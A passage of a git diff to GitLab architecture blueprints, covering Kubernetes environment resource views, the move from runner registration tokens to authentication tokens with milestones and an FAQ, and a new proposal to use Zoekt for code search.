BackendEnvironmentProduction["production environment"] + end + end + end + + FrontendEnvironmentProduction --- ResourceGroupProduction + BackendEnvironmentProduction --- ResourceGroupStaging + ResourceGroupProductionService -.- ResourceGroupProductionDeployment + ResourceGroupProductionDeployment -.- ResourceGroupProductionPod1 + ResourceGroupProductionDeployment -.- ResourceGroupProductionPod2 + ResourceGroupStagingService -.- ResourceGroupStagingDeployment + ResourceGroupStagingDeployment -.- ResourceGroupStagingPod1 + ResourceGroupStagingDeployment -.- ResourceGroupStagingPod2 + OrganizationProduction --- FrontendEnvironmentProduction + OrganizationProduction --- BackendEnvironmentProduction +``` + +A few notes: + +- In the future, we'd have more granular filters for resource search. + For example, there are two environments `production/us-region` and `production/eu-region` in each project + and show only resources in US region at the group-level. + This could be achivable by query filtering in PostgreSQL or label/namespace filtering in Kubernetes. +- Please see [Add dynamically populated organization-level environments page](https://gitlab.com/gitlab-org/gitlab/-/issues/241506) for more information. + +## Design and implementation details + +NOTE: +The following solution might be only applicable for CI Access mode. GitOps mode will have significant architectural changes _outside of_ this blueprint, +such as [Flux switching](https://gitlab.com/gitlab-org/gitlab/-/issues/357947) and [Manifest projects outside of the Agent configuration project](https://gitlab.com/groups/gitlab-org/-/epics/7704). In order to derisk potential rework, we'll revisit the GitOps mode after these upstream changes have been settled. + +### Associate Environment with Agent + +As a preliminary step, we allow users to explicitly define "which deployment job" uses "which agent" and deploy to "which namespace". The following keywords are supported in `.gitlab-ci.yml`. + +- `environment:kubernetes:agent` ... Define which agent the deployment job uses. It can select the appropriate context from the `KUBE_CONFIG`. +- `environment:kubernetes:namespace` ... Define which namespace the deployment job deploys to. It injects `KUBE_NAMESPACE` predefined variable into the job. This keyword already [exists](../../../ci/yaml/index.md#environmentkubernetes). + +Here is an example of `.gitlab-ci.yml`. + +```yaml +deploy-production: + environment: + name: production + kubernetes: + agent: path/to/agent/repository:agent-name + namespace: default + script: + - helm --context="$KUBE_CONTEXT" --namespace="$KUBE_NAMESPACE" upgrade --install +``` + +When a deployment job is created, GitLab persists the relationship of specified agent, namespace and deployment job. If the CI job is NOT authorized to access the agent (Please refer [`Clusters::Agents::FilterAuthorizationsService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/clusters/agents/filter_authorizations_service.rb) for more details), this relationship aren't recorded. This process happens in [`Deployments::CreateForBuildService`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/deployments/create_for_build_service.rb). The database table scheme is: + +```plaintext +agent_deployments: + - deployment_id (bigint/FK/NOT NULL/Unique) + - agent_id (bigint/FK/NOT NULL) + - kubernetes_namespace (character varying(255)/NOT NULL) +``` + +To idenfity an associated agent for a specific environment, `environment.last_deployment.agent` can be used in Rails. + +### Fetch resources through `user_access` + +When user visits an environment page, GitLab frontend fetches an environment via GraphQL. Frontend additionally fetches the associated agent-ID and namespace through deployment relationship, which being tracked by the `agent_deployments` table. + +Here is an example of GraphQL query: + +```graphql +{ + project(fullPath: "group/project") { + id + environment(name: "<environment-name>") { + slug + lastDeployment(status: SUCCESS) { + agent { + id + kubernetesNamespace + } + } + } + } +} +``` + +GitLab frontend authenticate/authorize the user access with [browser cookie](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/kubernetes_user_access.md#browser-cookie-on-gitlab-frontend). If the access is forbidden, frontend shows an error message that `You don't have access to an agent that deployed to this environment. Please contact agent administrator if you are allowed in "user_access" in agent config file. See <troubleshooting-doc-link>`. + +After the user gained access to the agent, GitLab frontend fetches available API Resource list in the Kubernetes and fetches the resources with the following parameters: + +- `namespace` ... `#{environment.lastDeployment.agent.kubernetesNamespace}` +- `labels` + - `app.gitlab.com/project_id=#{project.id}` _AND_ + - `app.gitlab.com/environment_slug: #{environment.slug}` + +If no resources are found, this is likely that the users have not embedded these lables into their resources. In this case, frontend shows an warning message `There are no resources found for the environment. Do resources have GitLab preserved labels? See <troubleshooting-doc-link>`. + +### Dependency graph + +- GitLab frontend uses [Owner References](https://kubernetes.io/docs/concepts/overview/working-with-objects/owners-dependents/) to idenfity the dependencies between resources. These are embedded in resources as `metadata.ownerReferences` field. +- For the resoruces that don't have owner references, we can use [Well-Known Labels, Annotations and Taints](https://kubernetes.io/docs/reference/labels-annotations-taints/) as complement. e.g. `EndpointSlice` doesn't have `metadata.ownerReferences`, but has `kubernetes.io/service-name` as a reference to the parent `Service` resource. + +### Health status of resources + +- GitLab frontend computes the status summary from the fetched resources. Something similar to ArgoCD's [Resource Health](https://argo-cd.readthedocs.io/en/stable/operator-manual/health/) e.g. `Healthy`, `Progressing`, `Degraded` and `Suspended`. The formula is TBD. diff --git a/doc/architecture/blueprints/object_storage/index.md b/doc/architecture/blueprints/object_storage/index.md index 950a5f13c38..4a8eeaf86a9 100644 --- a/doc/architecture/blueprints/object_storage/index.md +++ b/doc/architecture/blueprints/object_storage/index.md @@ -1,5 +1,5 @@ --- -status: ready +status: accepted creation-date: "2021-11-18" authors: [ "@nolith" ] coach: "@glopezfernandez" diff --git a/doc/architecture/blueprints/rate_limiting/index.md b/doc/architecture/blueprints/rate_limiting/index.md index 26114fce7f2..b466a54e922 100644 --- a/doc/architecture/blueprints/rate_limiting/index.md +++ b/doc/architecture/blueprints/rate_limiting/index.md @@ -1,5 +1,5 @@ --- -status: ready +status: accepted creation-date: "2022-09-08" authors: [ "@grzesiek", "@marshall007", "@fabiopitino", "@hswimelar" ] coach: "@andrewn" diff --git a/doc/architecture/blueprints/remote_development/index.md b/doc/architecture/blueprints/remote_development/index.md index 38c3782f5e3..162ae04f6b6 100644 --- a/doc/architecture/blueprints/remote_development/index.md +++ b/doc/architecture/blueprints/remote_development/index.md @@ -76,7 +76,7 @@ The current production [Web IDE](../../../user/project/web_ide/index.md). An advanced editor with commit staging that currently supports: -- [Live Preview](../../../user/project/web_ide/index.md#live-preview) +- [Live Preview](../../../user/project/web_ide/index.md#live-preview-removed) - [Interactive Web Terminals](../../../user/project/web_ide/index.md#interactive-web-terminals-for-the-web-ide) ### Web IDE diff --git a/doc/architecture/blueprints/runner_tokens/index.md b/doc/architecture/blueprints/runner_tokens/index.md index 7d21dd594ad..69a10674d7d 100644 --- a/doc/architecture/blueprints/runner_tokens/index.md +++ b/doc/architecture/blueprints/runner_tokens/index.md @@ -1,5 +1,5 @@ --- -status: ready +status: ongoing creation-date: "2022-10-27" authors: [ "@pedropombeiro", "@tmaczukin" ] coach: "@ayufan" @@ -46,11 +46,38 @@ runner in supported environments using the existing `gitlab-runner register` com The remaining concerns become non-issues due to the elimination of the registration token. +### Comparison of current and new runner registration flow + +```mermaid +graph TD + subgraph new[<b>New registration flow</b>] + A[<b>GitLab</b>: User creates a runner in GitLab UI and adds the runner configuration] -->|<b>GitLab</b>: creates ci_runners record and returns<br/>new 'glrt-' prefixed authentication token| B + B(<b>Runner</b>: User runs 'gitlab-runner register' command with</br>authentication token to register new runner machine with<br/>the GitLab instance) --> C{<b>Runner</b>: Does a .runner_system_id file exist in<br/>the gitlab-runner configuration directory?} + C -->|Yes| D[<b>Runner</b>: Reads existing system ID] --> F + C -->|No| E[<b>Runner</b>: Generates and persists unique system ID] --> F + F[<b>Runner</b>: Issues 'POST /runner/verify' request<br/>to verify authentication token validity] --> G{<b>GitLab</b>: Is the authentication token valid?} + G -->|Yes| H[<b>GitLab</b>: Creates ci_runner_machine database record if missing] --> J[<b>Runner</b>: Store authentication token in .config.toml] + G -->|No| I(<b>GitLab</b>: Returns '403 Forbidden' error) --> K(gitlab-runner register command fails) + J --> Z(Runner and runner machine are ready for use) + end + + subgraph current[<b>Current registration flow</b>] + A'[<b>GitLab</b>: User retrieves runner registration token in GitLab UI] --> B' + B'[<b>Runner</b>: User runs 'gitlab-runner register' command<br/>with registration token to register new runner] -->|<b>Runner</b>: Issues 'POST /runner request' to create<br/>new runner and obtain authentication token| C'{<b>GitLab</b>: Is the registration token valid?} + C' -->|Yes| D'[<b>GitLab</b>: Create ci_runners database record] --> F' + C' -->|No| E'(<b>GitLab</b>: Return '403 Forbidden' error) --> K'(gitlab-runner register command fails) + F'[<b>Runner</b>: Store authentication token<br/>from response in .config.toml] --> Z'(Runner is ready for use) + end + + style new fill:#f2ffe6 +``` + ### Using the authentication token in place of the registration token <!-- vale gitlab.Spelling = NO --> -In this proposal, runners created in the GitLab UI are assigned authentication tokens prefixed with -`glrt-` (**G**it**L**ab **R**unner **T**oken). +In this proposal, runners created in the GitLab UI are assigned +[authentication tokens](../../../security/token_overview.md#runner-authentication-tokens-also-called-runner-tokens) +prefixed with `glrt-` (**G**it**L**ab **R**unner **T**oken). <!-- vale gitlab.Spelling = YES --> The prefix allows the existing `register` command to use the authentication token _in lieu_ of the current registration token (`--registration-token`), requiring minimal adjustments in @@ -68,8 +95,8 @@ token in the `--registration-token` argument: | Token type | Behavior | | ---------- | -------- | -| Registration token | Leverages the `POST /api/v4/runners` REST endpoint to create a new runner, creating a new entry in `config.toml`. | -| Authentication token | Leverages the `POST /api/v4/runners/verify` REST endpoint to ensure the validity of the authentication token. Creates an entry in `config.toml` file and a `system_id` value in a sidecar file if missing (`.runner_system_id`). | +| [Registration token](../../../security/token_overview.md#runner-authentication-tokens-also-called-runner-tokens) | Leverages the `POST /api/v4/runners` REST endpoint to create a new runner, creating a new entry in `config.toml`. | +| [Authentication token](../../../security/token_overview.md#runner-authentication-tokens-also-called-runner-tokens) | Leverages the `POST /api/v4/runners/verify` REST endpoint to ensure the validity of the authentication token. Creates an entry in `config.toml` file and a `system_id` value in a sidecar file if missing (`.runner_system_id`). | ### Transition period @@ -82,17 +109,18 @@ This approach reduces disruption to users responsible for deploying runners. ### Reusing the runner authentication token across many machines -In the existing model, a new runner is created whenever a new worker is required. This -has led to many situations where runners are left behind and become stale. +In the existing autoscaling model, a new runner is created whenever a new job needs to be executed. +This has led to many situations where runners are left behind and become stale. In the proposed model, a `ci_runners` table entry describes a configuration that the user can reuse -across multiple machines. +across multiple machines, and runner state from each machine (for example, IP address, platform, +or architecture) is moved to a separate table (`ci_runner_machines`). A unique system identifier is [generated automatically](#generating-a-system_id-value) whenever the runner application starts up or the configuration is saved. -This allows differentiating the context in which the runner is being used. +This allows differentiating the machine in which the runner is being used. -The `system_id` value complements the short runner token that is currently used to identify a -runner in command line output, CI job logs, and GitLab UI. +The `system_id` value complements the short runner token that is used to identify a runner in +command line output, CI job logs, and GitLab UI. Given that the creation of runners involves user interaction, it should be possible to eventually lower the per-plan limit of CI runners that can be registered per scope. @@ -166,7 +194,7 @@ CREATE TABLE ci_builds_metadata ( CREATE TABLE ci_runner_machines ( id bigint NOT NULL, - machine_xid character varying UNIQUE NOT NULL, + system_xid character varying UNIQUE NOT NULL, contacted_at timestamp without time zone, version character varying, revision character varying, @@ -241,7 +269,7 @@ future after the legacy registration system is removed, and runners have been up versions. Job pings from such legacy runners results in a `ci_runner_machines` record containing a -`<legacy>` `machine_xid` field value. +`<legacy>` `system_xid` field value. Not using the unique system ID means that all connected runners with the same token are notified, instead of just the runner matching the exact system identifier. While not ideal, this is @@ -295,8 +323,13 @@ enum column created in the `ci_runners` table. ### Runner creation through API -Automated runner creation may be allowed, although always through authenticated API calls - -using PAT tokens for example - such that every runner is associated with an owner. +Automated runner creation is possible through a new GraphQL mutation and the existing +[`POST /runners` REST API endpoint](../../../api/runners.md#register-a-new-runner). +The difference in the REST API endpoint is that it is modified to accept a request from an +authorized user with a scope (instance, a group, or a project) instead of the registration token. +These endpoints are only available to users that are +[allowed](../../../user/permissions.md#gitlab-cicd-permissions) to create runners at the specified +scope. ## Implementation plan @@ -315,10 +348,17 @@ using PAT tokens for example - such that every runner is associated with an owne | Component | Milestone | Changes | |------------------|----------:|---------| | GitLab Runner | `15.7` | Ensure a sidecar TOML file exists with a `system_id` value.<br/>Log new system ID values with `INFO` level as they get assigned. | -| GitLab Runner | `15.7` | Log unique system ID in the build logs. | +| GitLab Runner | `15.9` | Log unique system ID in the build logs. | | GitLab Runner | `15.9` | Label Prometheus metrics with unique system ID. | | GitLab Runner | `15.8` | Prepare `register` command to fail if runner server-side configuration options are passed together with a new `glrt-` token. | +### Stage 2a - Prepare GitLab Runner Helm Chart and GitLab Runner Operator + +| Component | Milestone | Issue | Changes | +|------------------|----------:|-------|---------| +|GitLab Runner Helm Chart| `%15.10` | Update the Runner Helm Chart to support registration with the authentication token. | +|GitLab Runner Operator| `%15.10` | Update the Runner Operator to support registration with the authentication token. | + ### Stage 3 - Database changes | Component | Milestone | Changes | @@ -327,33 +367,51 @@ using PAT tokens for example - such that every runner is associated with an owne | GitLab Rails app | `%15.8` | Create database migration to add `ci_runner_machines` table. | | GitLab Rails app | `%15.9` | Create database migration to add `ci_runner_machines.id` foreign key to `ci_builds_metadata` table. | | GitLab Rails app | `%15.8` | Create database migrations to add `allow_runner_registration_token` setting to `application_settings` and `namespace_settings` tables (default: `true`). | -| GitLab Rails app | `%15.8` | Create database migration to add config column to `ci_runner_machines` table. | -| GitLab Runner | | Start sending `system_id` value in `POST /jobs/request` request and other follow-up requests that require identifying the unique system. | -| GitLab Rails app | | Create service similar to `StaleGroupRunnersPruneCronWorker` service to clean up `ci_runner_machines` records instead of `ci_runners` records.<br/>Existing service continues to exist but focuses only on legacy runners. | -| GitLab Rails app | | Create `ci_runner_machines` record in `POST /runners/verify` request if the runner token is prefixed with `glrt-`. | -| GitLab Rails app | | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. | - -### Stage 4 - New UI +| GitLab Rails app | `%15.8` | Create database migration to add `config` column to `ci_runner_machines` table. | +| GitLab Runner | `%15.9` | Start sending `system_id` value in `POST /jobs/request` request and other follow-up requests that require identifying the unique system. | +| GitLab Rails app | `%15.9` | Create service similar to `StaleGroupRunnersPruneCronWorker` service to clean up `ci_runner_machines` records instead of `ci_runners` records.<br/>Existing service continues to exist but focuses only on legacy runners. | +| GitLab Rails app | `%15.9` | [Feature flag] Rollout of `create_runner_machine`. | +| GitLab Rails app | `%15.9` | Create `ci_runner_machines` record in `POST /runners/verify` request if the runner token is prefixed with `glrt-`. | +| GitLab Rails app | `%15.9` | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. | +| GitLab Rails app | `%15.9` | [Feature flag] Enable runner creation workflow (`create_runner_workflow`). | +| GitLab Rails app | `%15.9` | Implement `create_{instance|group|project}_runner` permissions. | +| GitLab Rails app | `%15.9` | Rename `ci_runner_machines.machine_xid` column to `system_xid` to be consistent with `system_id` passed in APIs. | +| GitLab Rails app | `%15.10` | Drop `ci_runner_machines.machine_xid` column. | +| GitLab Rails app | `%15.11` | Remove the ignore rule for `ci_runner_machines.machine_xid` column. | + +### Stage 4 - Create runners from the UI | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Rails app | `%15.10` | Implement new GraphQL user-authenticated API to create a new runner. | -| GitLab Rails app | `%15.10` | [Add prefix to newly generated runner authentication tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). | +| GitLab Rails app | `%15.9` | Implement new GraphQL user-authenticated API to create a new runner. | +| GitLab Rails app | `%15.9` | [Add prefix to newly generated runner authentication tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). | +| GitLab Rails app | `%15.10` | Return token and runner ID information from `/runners/verify` REST endpoint. | +| GitLab Runner | `%15.10` | [Modify register command to allow new flow with glrt- prefixed authentication tokens](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/29613). | | GitLab Rails app | `%15.10` | Implement UI to create new runner. | | GitLab Rails app | `%15.10` | GraphQL changes to `CiRunner` type. | | GitLab Rails app | `%15.10` | UI changes to runner details view (listing of platform, architecture, IP address, etc.) (?) | +| GitLab Rails app | `%15.11` | Adapt `POST /api/v4/runners` REST endpoint to accept a request from an authorized user with a scope instead of a registration token. | ### Stage 5 - Optional disabling of registration token | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Rails app | | Add UI to allow disabling use of registration tokens at project or group level. | -| GitLab Rails app | `16.0` | Introduce `:disable_runner_registration_tokens` feature flag (enabled by default) to control whether use of registration tokens is allowed. | -| GitLab Rails app | | Make [`POST /api/v4/runners` endpoint](../../../api/runners.md#register-a-new-runner) permanently return `HTTP 410 Gone` if either `allow_runner_registration_token` setting or `:disable_runner_registration_tokens` feature flag disables registration tokens.<br/>A future v5 version of the API should return `HTTP 404 Not Found`. | -| GitLab Rails app | | Start refusing job requests that don't include a unique ID, if either `allow_runner_registration_token` setting or `:disable_runner_registration_tokens` feature flag disables registration tokens. | -| GitLab Rails app | | Hide legacy UI showing registration with a registration token, if `:disable_runner_registration_tokens` feature flag disables registration tokens. | +| GitLab Rails app | `%15.11` | Adapt `register_{group|project}_runner` permissions to take [application setting](https://gitlab.com/gitlab-org/gitlab/-/issues/386712) in consideration. | +| GitLab Rails app | `%15.11` | Add UI to allow disabling use of registration tokens at project or group level. | +| GitLab Rails app | `%15.11` | Introduce `:enforce_create_runner_workflow` feature flag (disabled by default) to control whether use of registration tokens is allowed. | +| GitLab Rails app | `%15.11` | Make [`POST /api/v4/runners` endpoint](../../../api/runners.md#register-a-new-runner) permanently return `HTTP 410 Gone` if either `allow_runner_registration_token` setting or `:enforce_create_runner_workflow` feature flag disables registration tokens.<br/>A future v5 version of the API should return `HTTP 404 Not Found`. | +| GitLab Rails app | `%15.11` | Start refusing job requests that don't include a unique ID, if either `allow_runner_registration_token` setting or `:enforce_create_runner_workflow` feature flag disables registration tokens. | +| GitLab Rails app | `%15.11` | Hide legacy UI showing registration with a registration token, if `:enforce_create_runner_workflow` feature flag disables registration tokens. | + +### Stage 6 - Enforcement + +| Component | Milestone | Changes | +|------------------|----------:|---------| +| GitLab Runner | `%16.0` | Do not allow runner to start if `.runner_system_id` file cannot be written. | +| GitLab Rails app | `%16.6` | Enable `:enforce_create_runner_workflow` feature flag by default. | +| GitLab Rails app | `%16.6` | Start reject job requests that don't include `system_id` value. | -### Stage 6 - Removals +### Stage 7 - Removals | Component | Milestone | Changes | |------------------|----------:|---------| @@ -361,7 +419,93 @@ using PAT tokens for example - such that every runner is associated with an owne | GitLab Runner | `17.0` | Remove runner model arguments from `register` command (for example `--run-untagged`, `--tag-list`, etc.) | | GitLab Rails app | `17.0` | Create database migrations to drop `allow_runner_registration_token` setting columns from `application_settings` and `namespace_settings` tables. | | GitLab Rails app | `17.0` | Create database migrations to drop:<br/>- `runners_registration_token`/`runners_registration_token_encrypted` columns from `application_settings`;<br/>- `runners_token`/`runners_token_encrypted` from `namespaces` table;<br/>- `runners_token`/`runners_token_encrypted` from `projects` table. | -| GitLab Rails app | `17.0` | Remove `:disable_runner_registration_tokens` feature flag. | +| GitLab Rails app | `17.0` | Remove `:enforce_create_runner_workflow` feature flag. | + +## FAQ + +### Will my runner registration workflow break? + +If no action is taken before your GitLab instance is upgraded to 16.6, then your runner registration +worflow will break. +For self-managed instances, to continue using the previous runner registration process, +you can disable the `enforce_create_runner_workflow` feature flag until GitLab 17.0. + +To avoid a broken workflow, you need to first create a runner in the GitLab runners admin page. +After that, you'll need to replace the registration token you're using in your runner registration +workflow with the obtained runner authentication token. + +### What is the new runner registration process? + +When the new runner registration process is introduced, you will: + +1. Create a runner directly in the GitLab UI. +1. Receive an authentication token in return. +1. Use the authentication token instead of the registration token. + +This has added benefits such as preserved ownership records for runners, and minimizes +impact on users. +The addition of a unique system ID ensures that you can reuse the same authentication token across +multiple runners. +For example, in an auto-scaling scenario where a runner manager spawns a runner process with a +fixed authentication token. +This ID generates once at the runner's startup, persists in a sidecar file, and is sent to the +GitLab instance when requesting jobs. +This allows the GitLab instance to display which system executed a given job. + +### What is the estimated timeframe for the planned changes? + +- In GitLab 15.10, we plan to implement runner creation directly in the runners administration page, + and prepare the runner to follow the new workflow. +- In GitLab 16.6, we plan to disable registration tokens. + For self-managed instances, to continue using + registration tokens, you can disable the `enforce_create_runner_workflow` feature flag until + GitLab 17.0. + + Previous `gitlab-runner` versions (that don't include the new `system_id` value) will start to be + rejected by the GitLab instance; +- In GitLab 17.0, we plan to completely remove support for runner registration tokens. + +### How will the `gitlab-runner register` command syntax change? + +The `gitlab-runner register` command will stop accepting registration tokens and instead accept new +authentication tokens generated in the GitLab runners administration page. +These authentication tokens are recognizable by their `glrt-` prefix. + +Example command for GitLab 15.9: + +```shell +gitlab-runner register + --executor "shell" \ + --url "https://gitlab.com/" \ + --tag-list "shell,mac,gdk,test" \ + --run-untagged="false" \ + --locked="false" \ + --access-level="not_protected" \ + --non-interactive \ + --registration-token="GR1348941C6YcZVddc8kjtdU-yWYD" +``` + +In GitLab 16.0, the runner will be created in the UI where some of its attributes can be +pre-configured by the creator. +Examples are the tag list, locked status, or access level. These are no longer accepted as arguments +to `register`. The following example shows the new command: + +```shell +gitlab-runner register + --executor "shell" \ + --url "https://gitlab.com/" \ + --non-interactive \ + --registration-token="grlt-2CR8_eVxiioB1QmzPZwa" +``` + +### How does this change impact auto-scaling scenarios? + +In auto-scaling scenarios such as GitLab Runner Operator or GitLab Runner Helm Chart, the +registration token is replaced with the authentication token generated from the UI. +This means that the same runner configuration is reused across jobs, instead of creating a runner +for each job. +The specific runner can be identified by the unique system ID that is generated when the runner +process is started. ## Status diff --git a/doc/architecture/blueprints/search/code_search_with_zoekt.md b/doc/architecture/blueprints/search/code_search_with_zoekt.md new file mode 100644 index 00000000000..d0d347f1ff4 --- /dev/null +++ b/doc/architecture/blueprints/search/code_search_with_zoekt.md @@ -0,0 +1,305 @@ +--- +status: ongoing +creation-date: "2022-12-28" +authors: [ "@dgruzd", "@DylanGriffith" ] +coach: "@DylanGriffith" +approvers: [ "@joshlambert", "@changzhengliu" ] +owning-stage: "~devops::enablement" +participating-stages: [] +--- + +# Use Zoekt For code search + +## Summary + +We will be implementing an additional code search functionality in GitLab that +is backed by [Zoekt](https://github.com/sourcegraph/zoekt), an open source +search engine that is specifically designed for code search. Zoekt will be used as +an API by GitLab and remain an implementation detail while the user interface +in GitLab will not change much except for some new features made available by +Zoekt. + +This will be rolled out in phases to ensure that the system will actually meet +our scaling and cost expectations and will run alongside code search backed by +Elasticsearch until we can be sure it is a viable replacement. The first step +will be making it available for `gitlab-org` for internal and expanding +customer by customer based on customer interest. + +## Motivation + +GitLab code search functionality today is backed by Elasticsearch. +Elasticsearch has proven useful for other types of search (issues, merge +requests, comments and so-on) but is by design not a good choice for code +search where users expect matches to be precise (ie. no false positives) and +flexible (e.g. support +[substring matching](https://gitlab.com/gitlab-org/gitlab/-/issues/325234) +and +[regexes](https://gitlab.com/gitlab-org/gitlab/-/issues/4175)). We have +[investigated our options](https://gitlab.com/groups/gitlab-org/-/epics/7404) +and [Zoekt](https://github.com/sourcegraph/zoekt) is pretty much the only well +maintained open source technology that is suited to code search. Based on our +research we believe it will be better to adopt a well maintained open source +database than attempt to build our own. This is mostly due to the fact that our +research indicates that the fundamental architecture of Zoekt is what we would +implement again if we tried to implement something ourselves. + +Our +[early benchmarking](https://gitlab.com/gitlab-org/gitlab/-/issues/370832#note_1183611955) +suggests that Zoekt will be viable at our scale, but we feel strongly +that investing in building a beta integration with Zoekt and rolling it out +group by group on GitLab.com will provide better insights into scalability and +cost than more accurate benchmarking efforts. It will also be relatively low +risk as it will be rolled out internally first and later rolled out to +customers that wish to participate in the trial. + +### Goals + +The main goals of this integration will be to implement the following highly +requested improvements to code search: + +1. [Exact match (substring match) code searches in Advanced Search](https://gitlab.com/gitlab-org/gitlab/-/issues/325234) +1. [Support regular expressions with Advanced Global Search](https://gitlab.com/gitlab-org/gitlab/-/issues/4175) +1. [Support multiple line matches in the same file](https://gitlab.com/gitlab-org/gitlab/-/issues/668) + +The initial phases of the rollout will be designed to catch and resolve scaling +or infrastructure cost issues as early as possible so that we can pivot early +before investing too much in this technology if it is not suitable. + +### Non-Goals + +The following are not goals initially but could theoretically be built upon +this solution: + +1. Improving security scanning features by having access to quickly perform + regex scans across many repositories +1. Saving money on our search infrastructure - this may be possible with + further optimizations, but initial estimates suggest the cost is similar +1. AI/ML features of search used to predict what users might be interested in + finding +1. Code Intelligence and Navigation - likely code intelligence and navigation + features should be built on structured data rather than a trigram index but + regex based searches (using Zoekt) may be a suitable fallback for code which + does not have structured metadata enabled or dynamic languages where static + analysis is not very accurate. Zoekt in particular may not be well suited + initially, despite existing symbol extraction using ctags, because ctags + symbols may not contain enough data for accurate navigation and Zoekt + doesn't undersand dependencies which would be necessary for cross-project + navigation. + +## Proposal + +An +[initial implementation of a Zoekt integration](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105049) +was created to demonstrate the feasibility of using Zoekt as a drop-in +replacement for Elasticsearch code searches. This blueprint will extend on all +the details needed to provide a minimum viable change as well steps needed to +scale this to a larger customer rollout on GitLab.com. + +## Design and implementation details + +### User Experience + +When a user performs an advanced search on a group or project that is part +of the Zoekt rollout we will present a toggle somewhere in the UI to change +to "precise search" (or some other UX TBD) which switches them from +Elasticsearch to Zoekt. Early user feedback will help us assess the best way +to present these choices to users and ultimately we will want to remove the +Elasticsearch option if we find Zoekt is a suitable long term option. + +### Indexing + +Similar to our Elasticsearch integration, GitLab will notify Zoekt every time +there are updates to a repository. Zoekt, unlike Elasticsearch, is designed to +clone and index Git repositories so we will simply notify Zoekt of the URL of +the repository that has changed and it will update its local copy of the Git +repo and then update its local index files. The Zoekt side of this logic will +be implemented in a new server-side indexing endpoint we add to Zoekt which is +currently in +[an open Pull request](https://github.com/sourcegraph/zoekt/pull/496). +While the details of +this pull request are still being debated, we may choose to deploy a fork with +the functionality we need, but our strongest intention is not to maintain a +fork of Zoekt and the maintainers have already expressed they are open to this +new functionality. + +The rails side of the integration will be a Sidekiq worker that is scheduled +every time there is an update to a repository and it will simply call this +`/index` endpoint in Zoekt. This will also need to generate a one-time token +that can allow Zoekt to clone a private repository. + +```mermaid +sequenceDiagram + participant user as User + participant gitlab_git as GitLab Git + participant gitlab_sidekiq as GitLab Sidekiq + participant zoekt as Zoekt + user->>gitlab_git: git push git@gitlab.com:gitlab-org/gitlab.git + gitlab_git->>gitlab_sidekiq: ZoektIndexerWorker.perform_async(278964) + gitlab_sidekiq->>zoekt: POST /index {"RepoUrl":"https://zoekt:SECRET_TOKEN@gitlab.com/gitlab-org/gitlab.git","RepoId":278964}' + zoekt->>gitlab_git: git clone https://zoekt:SECRET_TOKEN@gitlab.com/gitlab-org/gitlab.git +``` + +The Sidekiq worker can leverage de-duplication based on the `project_id`. + +Zoekt supports indexing multiple projects we'll likely need to, eventually, +allow a way for users to configure additional branches (beyond the default +branch) and this will need to be sent to Zoekt. We will need to decide if these +branch lists are sent every time we index the project or only when they change +configuration. + +There may be race conditions with multiple Zoekt processes indexing the same +repo at the same time. For this reason we should implement a locking mechanism +somewhere to ensure we are only indexing 1 project in 1 place at a time. We +could make use of the same Redis locking we use for indexing projects in +Elasticsearch. + +### Searching + +Searching will be implemented using the `/api/search` functionality in +Zoekt. There is also +[an open PR to fix this endpoint in Zoekt](https://github.com/sourcegraph/zoekt/pull/506), +and again we may consider working from a fork until this is fixed. GitLab will +prepend all searches with the appropriate filter for repositories based on the +user's search context (group or project) in the same way we do for +Elasticsearch. For Zoekt this will be implemented as a query string regex that +matches all the searched repositories. + +### Zoekt infrastructure + +Each Zoekt node will need to run a +[zoekt-dynamic-indexserver](https://github.com/sourcegraph/zoekt/pull/496) and +a +[zoekt-webserver](https://github.com/sourcegraph/zoekt/blob/main/cmd/zoekt-webserver/main.go). +These are both webservers with different responsibilities. Considering that the +Zoekt indexing process needs to keep a full clone of the bare repo +([unless we come up with a better option](https://gitlab.com/gitlab-org/gitlab/-/issues/384722)) +these bare repos will be stored on spinning disks to save space. These are only +used as an intermediate step to generate the actual `.zoekt` index files which +will be stored on an SSD for fast searches. These web servers need to run on +the same node as they access the same files. The `zoekt-dynamic-indexserver` is +responsible for writing the `.zoekt` index files. The `zoekt-webserver` is +responsible for responding to searches that it performs by reading these +`.zoekt` index files. + +### Rollout strategy + +Initially Zoekt code search will only be available to `gitlab-org`. After that +we'll start rolling it out to specific customers that have requested better +code search experience. As we learn about scaling and make improvements we will +gradually roll it out to all licensed groups on GitLab.com. We will use a +similar approach to Elasticsearch for keeping track of which groups are indexed +and which are not. This will be based on a new table `zoekt_indexed_namespaces` +with a `namespace_id` reference. We will only allow rolling out to top level +namespaces to simplify the logic of checking for all layers of group +inheritance. Once we've rolled out to all licensed groups we'll enable logic to +automatically enroll newly licensed groups. This table also may be a place to +store per-namespace sharding and replication data as described below. + +### Sharding and replication strategy + +Zoekt does not have any inbuilt sharding, and we expect that we'll need +multiple Zoekt servers to reach the scale to provide search functionality to +all of GitLab licensed customers. + +There are 2 clear ways to implement sharding: + +1. Build it on top of, or in front of Zoekt, as an independent component. Building + all the complexities of a distributed database into Zoekt is not likely to + be a good direction for the project so most likely this would be an + independent piece of infrastructure that proxied requests to the correct + shard. +1. Manage the shards inside GitLab. This would be an application layer in + GitLab which chooses the correct shard to send indexing and search requests + to. + +Likewise, there are a few ways to implement replication: + +1. Server-side where Zoekt replicas are aware of other Zoekt replicas and they + stream updates from some primary to remain in sync +1. Client-side replication where clients send indexing requests to all replicas + and search requests to any replica + +We plan to implement sharding inside GitLab application but replication may be +best served at the level of the filesystem of Zoekt servers rather than sending +duplicated updates from GitLab to all replicas. This could be some process on +Zoekt servers that monitors for changes to the `.zoekt` files in a specific +directory and syncs those updates to the replicas. This will need to be +slightly more 